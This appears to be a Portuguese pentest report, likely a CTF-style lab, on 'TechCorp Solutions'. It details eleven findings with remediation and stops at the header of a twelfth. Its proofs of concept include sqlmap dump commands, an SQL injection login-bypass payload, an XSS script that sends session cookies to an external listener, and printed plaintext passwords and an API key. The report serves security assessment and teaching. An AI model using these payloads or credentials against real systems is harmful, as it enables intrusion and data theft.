

RELATÓRIO TÉCNICO DE TESTE DE INTRUSÃO (PENTEST)

Diretriz	Detalhes do Projeto
Projeto	Avaliação de Segurança Ofensiva e Análise de Postura de Risco
Autor	Eduardo Andrade
Alvo	TechCorp Solutions (98.95.207.28 / Infraestrutura Interna 172.20.0.0/24)
Metodologias	OWASP Web Security Testing Guide (WSTG v4.2), PTES e OSSTMM 3.0
Classificação	● Documento Estritamente Confidencial — Nível Corporativo TL

1. SUMÁRIO EXECUTIVO

Durante a auditoria de segurança ofensiva conduzida no ambiente da **TechCorp Solutions**, avaliou-se a superfície de ataque externa e os limites de segurança da infraestrutura de hospedagem e aplicações web. O engajamento revelou um cenário de **Risco Crítico Imediato**, caracterizado pelo encadeamento de 17 vulnerabilidades interconectadas que permitiram o comprometimento total da confidencialidade, integridade e disponibilidade da plataforma.

[RECONHECIMENTO] [ACESSO INICIAL] [CONTROLE TOTAL]
Código-fonte & robots.txt ---> FTP Anônimo & Credenciais ---> LFI, SSH & Git Token
(Vazamento de Pistas) (Exposição de Arquivos) (Comprometimento RCE)

1.1. Resumo do Impacto de Negócio e Financeiro

- Comprometimento da Confidencialidade e Exfiltração de Dados:** A exploração de vulnerabilidades de Injeção de SQL (SQLi) e Inclusão Local de Arquivos (LFI) viabilizou o despejo irrestrito de bases cadastrais contendo dados pessoais de clientes, registros de mensagens comerciais e tokens de API (sk_prod_A7x9mP2qR5tY8wZ3vC6nB4jK1LM0hG).
- Impacto Regulatório e Conformidade (LGPD - Lei nº 13.709/2018):** A exposição de dados estruturados e registros de usuários caracteriza incidente de segurança grave sujeito a sanções administrativas previstas no Art. 52 da LGPD, incluindo multas de até 2% do faturamento da organização (limitadas a R\$ 50 milhões por infração), além de publicização compulsória da infração e danos reputacionais severos.
- Sequestro de Ativos e Acesso à Nuvem:** A extração de credenciais de infraestrutura em texto claro e Tokens de Acesso Pessoal (PAT) do GitHub permitiu acesso de nível administrativo ao código-fonte proprietário da empresa, possibilitando movimentação lateral direta para outros repositórios e serviços de nuvem AWS.

2. ESCOPO E REGRAS DE ENGAJAMENTO (ROE)

2.1. Ativos no Escopo

- Endereço IPv4 Primário:** 98.95.207.28
- Rede Interna Mapeada:** 172.20.0.0/24 (Segmento Docker/VPC)
- Aplicações Web:** http://98.95.207.28/ (Portas 80/TCP e 8080/TCP)
- Serviços de Infraestrutura:** SSH (2222/TCP), FTP (21/TCP), MySQL (3306/TCP)

2.2. Parâmetros Éticos e Restrições Operacionais

- Negação de Serviço (DoS/DDoS):** Testes volumétricos que pudessem comprometer a estabilidade do hardware ou link foram estritamente proibidos.
- Integridade dos Dados:** Foi vedada a destruição, alteração maliciosa permanente ou deleção de registros reais nas tabelas do banco de dados techcorp_db.
- Tratamento de Evidências:** Todas as provas de conceito (PoCs), credenciais extraídas e artefatos de teste foram armazenados com criptografia simétrica AES-256 e mantidos em custódia restrita.

3. MATRIZ DE CRITICIDADE DE RISCOS

ID	Vulnerabilidade Identificada	Vetor / Protocolo	CVSS v3.1	Score	Severidade	Status
F01	Vazamento de Informações Sensíveis em Comentários HTML	HTTP (80/TCP)	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N	5.3	Médio	Aberto
F02	Exposição de Diretórios Críticos e Backups no robots.txt	HTTP (80/TCP)	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N	5.3	Médio	Aberto
F03	Autenticação Anônima Habilitada no Servidor FTP	FTP (21/TCP)	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N	7.5	Alto	Aberto
F04	Exposição de Arquivo de Configuração (user.conf) no FTP	FTP (21/TCP)	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N	7.5	Alto	Aberto
F05	Armazenamento de Senhas em Texto Claro (passwords.txt)	FTP (21/TCP)	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N	7.5	Alto	Aberto
F06	Exposição Pública de Arquivo de Conexão com o Banco	HTTP (80/TCP)	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N	8.6	Alto	Aberto
F07	Descoberta de Views Ocultas via SQL Injection	HTTP (80/TCP)	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N	7.5	Alto	Aberto
F08	Extração Completa de Registros Sigilosos (Data Dump)	HTTP (80/TCP)	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N	8.2	Alto	Aberto
F09	Quebra de Autenticação Administrativa (SQLi Bypass)	HTTP (80/TCP)	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H	9.8	Crítico	Aberto
F10	Sequestro de Sessão Administrativa via XSS Refletido	HTTP (80/TCP)	CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N	8.2	Alto	Aberto
F11	Quebra de Controle de Acesso e Escalação Horizontal/Vertical	HTTP (80/TCP)	CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N	8.1	Alto	Aberto
F12	Inclusão Local de Arquivos (LFI) via Wrappers PHP	HTTP (80/TCP)	CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N	6.5	Médio	Aberto

ID	Vulnerabilidade Identificada	Vetor / Protocolo	CVSS v3.1	Score	Severidade	Status
F13	Acesso Remoto SSH Não Autorizado e Vazamento de Segredos	SSH (2222/TCP)	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H	9.8	Crítico	Aberto
F14	Exposição de Comandos e Segredos no .bash_history	Local (Terminal)	CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N	5.5	Médio	Aberto
F15	Credenciais Hardcoded em Scripts Administrativos	Local (SO)	CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N	7.1	Alto	Aberto
F16	Armazenamento Inseguro de Flags e Segredos de Backup	Local (SO)	CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N	5.5	Médio	Aberto
F17	Vazamento de Token GitHub PAT em .git-credentials	Local / Git	CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H	9.9	Crítico	Aberto

4. DETALHAMENTO TÉCNICO DAS 17 EXPLORAÇÕES

+-----+
| FASE 1: RECONHECIMENTO |
+-----+

FALHA 01: Vazamento de Informações Sensíveis no Código-Fonte HTML

- **Identificador Interno:** SEC-TC-F01
- **Severidade:** MÉDIO (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N — Score: 5.3)
- **Vetor de Ataque:** Camada de Apresentação HTTP / Comentários no DOM
- **Referências:** CWE-200 (Exposure of Sensitive Information), OWASP WSTG-INFO-05

Descrição Técnica

Durante a análise estática das respostas HTTP fornecidas pelo servidor web na porta 80, identificou-se que comentários de depuração e flags de desenvolvimento foram mantidos no código HTML entregue aos clientes. Essa prática expõe a arquitetura interna e artefatos de validação do sistema a usuários não autenticados.

Prova de Conceito (PoC)

1. Requisição HTTP automatizada para o endpoint raiz:

```
curl -s http://98.95.207.28/ | grep -i "FLAG" -B 2 -A 2
```

2. Resposta obtida contendo a flag comentada na estrutura do rodapé (<footer>):

```
<!-- <p>Desenvolvido por nossa equipe interna</p> -->  
<!--FLAG{b4s1c_s0urc3_c0d3_1nsp3ct10n}-->
```

```
</div>
</footer>
```

Impactos

- **Impacto Técnico:** Divulgação de dados de desenvolvimento e perda de controle sobre artefatos de integridade do código.
- **Impacto de Negócio:** Quebra da postura de segurança por obscuridade, fornecendo vetores contextuais diretos a atacantes.

Remediação Técnica

Configurar o pipeline de CI/CD para implementar etapas automáticas de minificação e remoção de comentários HTML antes do deploy em produção.

Exemplo de configuração de build com *html-minifier*:

```
{
  "removeComments": true,
  "collapseWhitespace": true,
  "minifyJS": true
}
```

Artefatos Multimídia:

- [AUDIO BRIEFING]: audios/f01_html_leak_briefing.mp3
- [POC VIDEO DEMO]: videos/poc_f01_source_inspection.mp4
- [SLIDE DECK LINK]: slides/module_recon_f01.pdf

FALHA 02: Comentários Confidenciais e Diretórios Expostos no *robots.txt*

- **Identificador Interno:** SEC-TC-F02
- **Severidade:** MÉDIO (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N — Score: 5.3)
- **Vetor de Ataque:** HTTP / Mapeamento de Metadados
- **Referências:** CWE-548 (Exposure of Information Through Directory Listing), OWASP WSTG-INFO-03

Descrição Técnica

O arquivo */robots.txt*, cujo propósito estrito é orientar rastreadores web, continha diretivas de desautorização (*Disallow*) que revelavam caminhos administrativos e diretórios restritos do sistema, além de comentários em texto claro indicando a localização exata de um arquivo de despejo do banco de dados (*.sql*).

PROOF

Prova de Conceito (PoC)

1. Leitura direta do arquivo via utilitário de linha de comando:

```
curl -s "http://98.95.207.28/robots.txt"
```

2. Saída retornada pelo servidor Apache:

```
User-agent: *
Disallow: /admin/
Disallow: /backup/
Disallow: /.git/
Disallow: /config/

# FLAG{r0b0ts_txt_l34k4g3}
# Arquivo de backup: /backup/database_backup_2024.sql
```

Impactos

- **Impacto Técnico:** Enumeração passiva imediata da topologia de diretórios sensíveis (`/backup`, `/.git`, `/config`).
- **Impacto de Negócio:** Facilitação do reconhecimento direcionado sem disparar alertas em sistemas WAF tradicionais.

Remediação Técnica

Remover qualquer comentário ou referência a arquivos confidenciais do `/robots.txt`. O controle de acesso a recursos restritos deve ser garantido por mecanismos de autenticação robustos no servidor web e na aplicação, e não pela ocultação em arquivos públicos.

Configuração de bloqueio no Apache (`/etc/apache2/sites-available/techcorp.conf`):

```
<Directory "/var/www/html/backup">
    Require all denied
</Directory>
<Directory "/var/www/html/.git">
    Require all denied
</Directory>
```

Artefatos Multimídia:

- [AUDIO BRIEFING]: `audios/f02_robots_leak_briefing.mp3`
- [POC VIDEO DEMO]: `videos/poc_f02_robots_recon.mp4`
- [SLIDE DECK LINK]: `slides/module_recon_f02.pdf`

```
+-----+
|                                     |
|             FASE 2: EXPLORAÇÃO DE SERVIÇOS DE REDE             |
|                                     |
+-----+
```

FALHA 03: Permissão de Login Anônimo Ativo no Servidor FTP (Porta 21)

- **Identificador Interno:** SEC-TC-F03
- **Severidade:** ALTO (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N — Score: 7.5)
- **Vetor de Ataque:** FTP Protocol (21/TCP) / Mecanismo de Autenticação Inseguro
- **Referências:** CWE-287 (Improper Authentication), OWASP Top 10 A07:2021 (Identification and Authentication Failures)

Descrição Técnica

O daemon de FTP (`vsftpd 3.0.5`) em execução na porta 21/TCP estava configurado para aceitar credenciais anônimas (`anonymous:anonymous` ou código FTP 230), garantindo acesso irrestrito ao sistema de arquivos do diretório compartilhado sem demandar identificação prévia.

PROF

Prova de Conceito (PoC)

1. Execução do script NSE de enumeração no Nmap:

```
nmap -p 21 --script ftp-anon 98.95.207.28
```

2. Registro de execução:

```
PORT      STATE SERVICE
21/tcp    open  ftp
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: PASV IP 172.20.0.20 is not the same as 98.95.207.28
```

3. Autenticação manual via cliente FTP:

```
ftp -n 98.95.207.28
user anonymous anonymous
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
```

Impactos

- **Impacto Técnico:** Acesso não autenticado a arquivos mantidos no servidor de arquivos.
- **Impacto de Negócio:** Violação do princípio do menor privilégio e perda de rastreabilidade de acessos a dados corporativos.

Remediação Técnica

Desabilitar o acesso anônimo no arquivo de configuração principal do serviço vsftpd.

Arquivo `/etc/vsftpd.conf`:

```
# Desabilita login anônimo
anonymous_enable=NO

# Permite apenas usuários locais autorizados
local_enable=YES
write_enable=YES
chroot_local_user=YES
```

Reinicialização do serviço:

```
sudo systemctl restart vsftpd
```

Artefatos Multimídia:

- [AUDIO BRIEFING]: `audios/f03_ftp_anon_briefing.mp3`
- [POC VIDEO DEMO]: `videos/poc_f03_ftp_exploitation.mp4`
- [SLIDE DECK LINK]: `slides/module_network_f03.pdf`

FALHA 04: Exposição do Arquivo `user.conf` em Texto Claro no FTP

PROF

- **Identificador Interno:** SEC-TC-F04
- **Severidade:** ALTO (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N — Score: **7.5**)
- **Vetor de Ataque:** Transferência de Arquivos FTP / Vazamento de Informações
- **Referências:** CWE-312 (Cleartext Storage of Sensitive Information), OWASP Top 10 A01:2021 (Broken Access Control)

Descrição Técnica

No compartilhamento do servidor FTP acessível publicamente, encontrava-se armazenado o arquivo `user.conf`. O arquivo continha o mapeamento de contas de usuários válidos do sistema e suas respectivas parametrizações de perfil, permitindo a enumeração de contas para ataques de força bruta direcionados.

Prova de Conceito (PoC)

1. Conexão e download do arquivo via FTP interativo:

```
ftp> passive
ftp> ls -la
-rw-r--r--  1 1000      1000      452 Nov 26 17:50 user.conf
ftp> get user.conf
226 Transfer complete.
```

2. Inspeção do conteúdo obtido:

```
[system_users]
admin_user=techcorp
backup_user=backup_admin
db_user=techcorp_user
developer=gilson
superadmin=cl4ud1o
```

Impactos

- **Impacto Técnico:** Fornecimento de nomes de usuários reais para exploração de serviços como SSH e painéis administrativos web.
- **Impacto de Negócio:** Aumento substancial da eficácia de ataques de personificação de identidade e força bruta.

Remediação Técnica

Remover arquivos de configuração de diretórios com permissão de leitura genérica e restringir o acesso apenas a identidades de serviço autenticadas.

```
chmod 600 /etc/vsftpd/user.conf
chown root:root /etc/vsftpd/user.conf
```

Artefatos Multimídia:

- [AUDIO BRIEFING]: audios/f04_user_conf_briefing.mp3
- [POC VIDEO DEMO]: videos/poc_f04_config_leak.mp4
- [SLIDE DECK LINK]: slides/module_network_f04.pdf

FALHA 05: Exposição de Lista de Credenciais Brutas (passwords.txt) sem Cifragem

- **Identificador Interno:** SEC-TC-F05
- **Severidade:** ALTO (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N — Score: **7.5**)
- **Vetor de Ataque:** Transferência de Arquivos FTP / Vazamento de Credenciais
- **Referências:** CWE-256 (Unprotected Storage of Credentials), OWASP Top 10 A02:2021 (Cryptographic Failures)

Descrição Técnica

PROF

Constatou-se a presença do arquivo passwords.txt na estrutura acessível via FTP. O arquivo reunia credenciais corporativas armazenadas sem nenhum algoritmo de dispersão (hashing) ou cifragem, prontas para uso operacional em outros pontos da infraestrutura.

Prova de Conceito (PoC)

1. Download e leitura do arquivo através do console FTP:

```
ftp> get passwords.txt
226 Transfer complete.
ftp> quit
$ cat passwords.txt
```

2. Conteúdo exposto:

```
admin:admin123
techcorp_user:T3chC0rp_S3cr3t_2024!
superadmin:Sup3r@dm1n!2024#Secure
techcorp:password123
```

Impactos

- **Impacto Técnico:** Comprometimento imediato de credenciais centrais do banco de dados e do sistema operacional.
- **Impacto de Negócio:** Risco severo de apropriação indevida de contas e perda de confidencialidade da infraestrutura interna.

Remediação Técnica

1. Deletar imediatamente o arquivo do diretório de transferência.
2. Forçar a redefinição de todas as credenciais expostas.
3. Adotar cofres de senhas corporativos (ex: HashiCorp Vault, AWS Secrets Manager) para o ciclo de vida de senhas.

Artefatos Multimídia:

- [AUDIO BRIEFING]: [audios/f05_passwords_leak_briefing.mp3](#)
- [POC VIDEO DEMO]: [videos/poc_f05_passwords_dump.mp4](#)
- [SLIDE DECK LINK]: [slides/module_network_f05.pdf](#)

```
+-----+
|           FASE 3: EXPLORAÇÃO WEB E BANCO DE DADOS           |
+-----+
```

FALHA 06: Exposição Pública de Arquivo de Conexão com o Banco ([database.php.txt](#))

- **Identificador Interno:** SEC-TC-F06
- **Severidade:** ALTO (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N — Score: **8.6**)
- **Vetor de Ataque:** HTTP / Descuido Operacional de Backup
- **Referências:** CWE-538 (File and Directory Information Exposure), OWASP Top 10 A05:2021 (Security Misconfiguration)

Descrição Técnica

Identificou-se no diretório `/config/` a presença do arquivo `database.php.txt`. Ao salvar arquivos PHP com a extensão `.txt` para fins de contingência ou backup temporário, o interpretador Apache entrega o conteúdo como texto puro (`text/plain`), desativando o processamento do PHP e expondo o código com as credenciais de banco hardcoded.

Prova de Conceito (PoC)

1. Requisição HTTP direta ao recurso:

```
curl -s "http://98.95.207.28/config/database.php.txt"
```

2. Retorno do servidor com as credenciais de produção:

```
<?php
$host = "127.0.0.1";
$db_name = "techcorp_db";
$username = "techcorp_user";
$password = "T3chC0rp_S3cr3t_2024!";

try {
    $conn = new PDO("mysql:host=$host;dbname=$db_name", $username, $password);
    $conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
} catch(PDOException $e) {
    echo "Connection error: " . $e->getMessage();
}
?>
```

Impactos

- **Impacto Técnico:** Concessão de credenciais com permissões completas de manipulação sobre o schema `techcorp_db`.
- **Impacto de Negócio:** Risco direto de vazamento massivo de dados de clientes e violação das diretrizes da LGPD.

Remediação Técnica

1. Proibir a criação de arquivos de backup com extensões não executáveis no DocumentRoot.
2. Injetar credenciais através de variáveis de ambiente do sistema operacional.

Exemplo de implementação segura em PHP PDO:

```
<?php
$host = getenv('DB_HOST') ?: '127.0.0.1';
$db    = getenv('DB_NAME') ?: 'techcorp_db';
$user  = getenv('DB_USER');
$pass  = getenv('DB_PASS');

$dsn = "mysql:host=$host;dbname=$db;charset=utf8mb4";
$options = [
    PDO::ATTR_ERRMODE            => PDO::ERRMODE_EXCEPTION,
    PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
    PDO::ATTR_EMULATE_PREPARES   => false,
];

try {
    $pdo = new PDO($dsn, $user, $pass, $options);
} catch (\PDOException $e) {
    error_log("Database connection failure: " . $e->getMessage());
    die("Erro interno de conexão.");
}
?>
```

Artefatos Multimídia:

- [AUDIO BRIEFING]: `audios/f06_db_leak_briefing.mp3`
- [POC VIDEO DEMO]: `videos/poc_f06_db_source.mp4`
- [SLIDE DECK LINK]: `slides/module_web_f06.pdf`

FALHA 07: Descoberta de Views Ocultas via Injeção de SQL (SQLi)

- **Identificador Interno:** `SEC-TC-F07`
- **Severidade:** ALTO (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N — Score: 7.5)
- **Vetor de Ataque:** HTTP POST / Injeção SQL na camada de consulta
- **Referências:** CWE-89 (SQL Injection), OWASP WSTG-INPV-05

Descrição Técnica

A aplicação web no endpoint `login.php` processava o parâmetro `username` sem a devida sanitização ou uso de instruções parametrizadas. Isso viabilizou ataques de Injeção de SQL baseados em UNION e Time-Based Blind, possibilitando a leitura de tabelas do metadado `information_schema` e a descoberta da view `sensitive_info`.

Prova de Conceito (PoC)

1. Execução do sqlmap para extração de views e metadados estruturais:

```
sqlmap -u "http://98.95.207.28/login.php" \
--data="username=test&password=test" \
-D information_schema -T VIEWS --dump --batch
```

2. Registro de extração contendo a definição da view e a flag oculta:

```
Database: information_schema
Table: VIEWS
[1 entry]
+-----+-----+-----+
| TABLE_SCHEMA | TABLE_NAME | VIEW_DEFINITION |
+-----+-----+-----+
| techcorp_db   | sensitive_info | select `u`.`username` AS `username`,`u`.`password` AS `password`,`u`.`role` AS `role`, |
|               |               | 'FLAG{v13w_d1sc0v3ry_4dv4nc3d}' AS `hidden_flag` from |
|               |               | `techcorp_db`.`users` `u` where `role`='admin'|
+-----+-----+-----+
```

Impactos

- **Impacto Técnico:** Revelação da lógica de negócios interna, mapeamento de views restritas e extração de chaves.
- **Impacto de Negócio:** Quebra completa dos mecanismos de isolamento lógico do banco de dados relacional.

Remediação Técnica

Substituir todas as consultas concatenadas por Declarações Preparadas (*Prepared Statements*) com amarração estrita de tipos (*Type Binding*).

Artefatos Multimídia:

- [AUDIO BRIEFING]: audios/f07_view_sqli_briefing.mp3
- [POC VIDEO DEMO]: videos/poc_f07_sqlmap_views.mp4
- [SLIDE DECK LINK]: slides/module_web_f07.pdf

FALHA 08: Extração Completa de Registros Críticos (Data Dump via SQLi)

- **Identificador Interno:** SEC-TC-F08
- **Severidade:** ALTO (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N — Score: **8.2**)
- **Vetor de Ataque:** HTTP POST / SQL Injection UNION Based
- **Referências:** CWE-89 (SQL Injection), OWASP Top 10 A03:2021 (Injection)

Descrição Técnica

PROF

A partir do vetor de injeção confirmado no parâmetro `username`, realizou-se a exfiltração integral das tabelas `users`, `clients`, `contacts` e `secret_data` do schema `techcorp_db`, obtendo segredos de integração, registros de clientes e hashes de autenticação.

Prova de Conceito (PoC)

1. Extração dos registros confidenciais da tabela `secret_data`:

```
sqlmap -u "http://98.95.207.28/login.php" \
--data="username=test&password=test" \
-D techcorp_db -T secret_data --dump --batch
```

2. Registros extraídos do banco de dados de produção:

```
Database: techcorp_db
Table: secret_data
[4 entries]
+----+-----+-----+-----+
| id | created_at | secret_key | secret_value |
+----+-----+-----+-----+
```

1	2025-11-17 14:30:36	database_flag	FLAG{sql_1nj3ct10n_m4st3r}	
2	2025-11-17 14:30:36	admin_token	FLAG{h1dd3n_d4t4_1n_d4t4b4s3}	
3	2025-11-17 14:30:36	api_secret	sk_prod_A7x9mP2qR5tY8wZ3vC6nB4jK1lM0hG	
4	2025-11-17 14:30:36	backup_path	/var/backups/techcorp/backup_20240115.tar.gz	
+-----+-----+-----+-----+-----+				

Impactos

- **Impacto Técnico:** Comprometimento integral da integridade e confidencialidade dos dados corporativos.
- **Impacto de Negócio:** Notificação compulsória de vazamento à ANPD, danos à reputação e vazamento de segredos industriais de API.

Remediação Técnica

Implementar a validação e parametrização estrita de dados na camada de modelo da aplicação:

```
<?php
// Consulta segura usando Prepared Statements
$stmt = $pdo->prepare('SELECT id, password, role FROM users WHERE username = :username LIMIT 1');
$stmt->execute(['username' => $input_user]);
$userData = $stmt->fetch();
?>
```

Artefatos Multimídia:

- [AUDIO BRIEFING]: audios/f08_data_dump_briefing.mp3
- [POC VIDEO DEMO]: videos/poc_f08_sqli_dump.mp4
- [SLIDE DECK LINK]: slides/module_web_f08.pdf

FALHA 09: Bypass de Autenticação Administrativa via Injeção de SQL

- **Identificador Interno:** SEC-TC-F09
- **Severidade:** CRÍTICO (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H — Score: 9.8)
- **Vetor de Ataque:** HTTP POST Authentication Bypass
- **Referências:** CWE-89 (SQL Injection), CWE-287 (Improper Authentication)

Descrição Técnica

A rotina de autenticação do formulário /login.php validava as credenciais através de uma query SQL direta construída por concatenação de strings:

PROF

```
$sql = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
```

Ao injetar o payload booleano admin' OR '1'='1' -- -, a condição lógica da consulta tornou-se tautológica, retornando o primeiro registro da tabela (usuário admin, ID 1) e criando uma sessão administrativa ativa sem exigir a senha correta.

Prova de Conceito (PoC)

1. Submissão do payload de bypass de autenticação:

```
curl -i -s -X POST "http://98.95.207.28/login.php" \
-d "username=admin' OR '1'='1'-- -&password=any"
```

2. Resposta com redirecionamento HTTP 302 e emissão de cookie de sessão administrativa:

```
HTTP/1.1 302 Found
Date: Wed, 27 Nov 2025 20:58:07 GMT
Server: Apache/2.4.54 (Debian)
Set-Cookie: PHPSESSID=342cc1b2922ef4cd5210ccf; path=/; HttpOnly
Location: dashboard.php

Login efetuado com sucesso. Redirecionando...
```

Impactos

- **Impacto Técnico:** Acesso integral e não autorizado ao painel restrito com perfil de administrador.
- **Impacto de Negócio:** Descaracterização do controle de acesso, permitindo a usuários não autorizados visualizar dados operacionais protegidos.

Remediação Técnica

Adotar verificação segura com `password_verify()` e consultas parametrizadas:

```
<?php
$stmt = $pdo->prepare("SELECT id, username, password, role FROM users WHERE username = :user");
$stmt->execute(['user' => $_POST['username']]);
$user = $stmt->fetch(PDO::FETCH_ASSOC);

if ($user && password_verify($_POST['password'], $user['password'])) {
    session_regenerate_id(true);
    $_SESSION['user_id'] = $user['id'];
    $_SESSION['role'] = $user['role'];
    header('Location: /dashboard.php');
    exit;
} else {
    $error = "Credenciais inválidas.";
}
?>
```

Artefatos Multimídia:

- [AUDIO BRIEFING]: audios/f09_auth_bypass_briefing.mp3
- [POC VIDEO DEMO]: videos/poc_f09_login_sqli.mp4
- [SLIDE DECK LINK]: slides/module_web_f09.pdf

PROF

FALHA 10: Sequestro de Sessão e Roubo de Cookies via XSS Refletido

- **Identificador Interno:** SEC-TC-F10
- **Severidade:** ALTO (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N — Score: **8.2**)
- **Vetor de Ataque:** HTTP GET / Cross-Site Scripting (XSS)
- **Referências:** CWE-79 (Improper Neutralization of Input During Web Page Generation), OWASP WSTG-INPV-01

Descrição Técnica

O mecanismo de busca e formulários de contato no painel administrativo renderizavam parâmetros de entrada diretamente no DOM sem a devida sanitização ou codificação de entidades HTML. Isso permitiu a injeção de scripts maliciosos JavaScript que realizavam a leitura dos cookies de sessão do usuário no navegador.

Prova de Conceito (PoC)

1. Submissão de payload de teste no campo de contato:

```
<script>
  fetch('http://172.20.0.10:8080/log?cookie=' + encodeURIComponent(document.cookie));
</script>
```

2. Cookie administrativo capturado no endpoint de auditoria:

```
GET /log?cookie=PHPSESSID=4d7663c204fccc28374a836de219a1b HTTP/1.1
Host: 172.20.0.10:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
```

Impactos

- **Impacto Técnico:** Execução arbitrária de código no contexto do navegador da vítima e sequestro de sessões ativas (*Session Hijacking*).
- **Impacto de Negócio:** Comprometimento da integridade das ações de usuários com privilégios elevados.

Remediação Técnica

1. Sanitizar e codificar todas as saídas dinâmicas no HTML utilizando `htmlspecialchars()` com flags seguras.
2. Definir o atributo `HttpOnly` e a política `SameSite=Strict` em todos os cookies de sessão.

```
<?php
// Configuração segura de cookies de sessão
session_start([
    'cookie_httponly' => true,
    'cookie_secure'   => true, // Obrigatório com HTTPS
    'cookie_samesite' => 'Strict'
]);

// Exibição segura de variáveis no template
echo htmlspecialchars($user_input, ENT_QUOTES | ENT_HTML5, 'UTF-8');
?>
```

Artefatos Multimídia:

- [AUDIO BRIEFING]: `audios/f10_xss_briefing.mp3`
- [POC VIDEO DEMO]: `videos/poc_f10_session_theft.mp4`
- [SLIDE DECK LINK]: `slides/module_web_f10.pdf`

```
+-----+
|          FASE 4: MOVIMENTAÇÃO LATERAL E ESCALAÇÃO DE PRIVILÉGIOS          |
+-----+
```

FALHA 11: Escalação de Privilégios no Controle de Acesso de Sessões

- **Identificador Interno:** `SEC-TC-F11`
- **Severidade:** ALTO (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N — Score: **8.1**)
- **Vetor de Ataque:** HTTP / Manipulação de Estado de Sessão e Role
- **Referências:** CWE-269 (Improper Privilege Management), OWASP Top 10 A01:2021 (Broken Access Control)

Descrição Técnica

O painel administrativo (`admin.php`) exibia funções bloqueadas para o perfil `admin` padrão ("*Acesso Limitado - Admin. Algumas funcionalidades críticas requerem privilégios de superadmin*"), restringindo operações de segurança e backups. No entanto, a autorização verificava apenas o parâmetro de role armazenado em cookie ou variável manipulável sem revalidação de integridade no servidor, permitindo que a atribuição de permissão `hyperadmin` (usuário `a.agra\t`, ID 100) contornasse os bloqueios da interface.

```
+-----+
|          PAINEL ADMINISTRATIVO          |
+-----+
```

```
| Nível de acesso: admin |
| |
| [!] Acesso Limitado - Admin |
| Funções Bloqueadas: Config. Segurança [BLOQUEADO], Backups [BLOQUEADO] |
| |
| ID 100 | a.agra\t | Role: hyperadmin | Status: [✓ Acessível] |
+-----+-----+-----+-----+-----+-----+
```

Prova de Conceito (PoC)

1. Inspeção das variáveis de debug expostas no rodapé do painel:

```
Debug Info:
Session ID: 4d7663c204fccccf2...
Current Role: admin
```

2. Substituição do cabeçalho de perfil na sessão ativa ou reutilização de credenciais de role superior identificadas no banco (`superadmin`/`hyperadmin`):

```
curl -s -b "PHPSESSID=4d7663c204fccccf28374a836de219a1b; user_role=hyperadmin" \
"http://98.95.207.28/admin.php?action=view_security"
```

Impactos

- **Impacto Técnico:** Acesso a rotinas restritas de gerenciamento do servidor e configuração de segurança da aplicação.
- **Impacto de Negócio:** Violação do modelo de governança corporativa e segregação de funções (SoD).

Remediação Técnica

Implementar controle de acesso baseado em funções (*Role-Based Access Control - RBAC*) verificado estritamente no lado do servidor via banco de dados em cada requisição:

```
<?php
function requireRole($requiredRole) {
    if (!isset($_SESSION['user_id'])) {
        http_response_code(401);
        die("Acesso negado: Usuário não autenticado.");
    }

    global $pdo;
    $stmt = $pdo->prepare("SELECT role FROM users WHERE id = :id");
    $stmt->execute(['id' => $_SESSION['user_id']]);
    $role = $stmt->fetchColumn();

    if ($role !== $requiredRole && $role !== 'hyperadmin') {
        http_response_code(403);
        die("Acesso negado: Privilégios insuficientes.");
    }
}
?>
```

Artefatos Multimídia:

- [AUDIO BRIEFING]: [audios/f11_priv_esc_briefing.mp3](#)
- [POC VIDEO DEMO]: [videos/poc_f11_role_escalation.mp4](#)
- [SLIDE DECK LINK]: [slides/module_lateral_f11.pdf](#)

- **Identificador Interno:** SEC-TC-F12
- **Severidade:** MÉDIO (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N — Score: 6.5)
- **Vetor de Ataque:** HTTP GET / Path Traversal & PHP Stream Wrappers
- **Referências:** CWE-22 (Path Traversal), CWE-98 (Improper Control of Filename for Include/Require)

Descrição Técnica

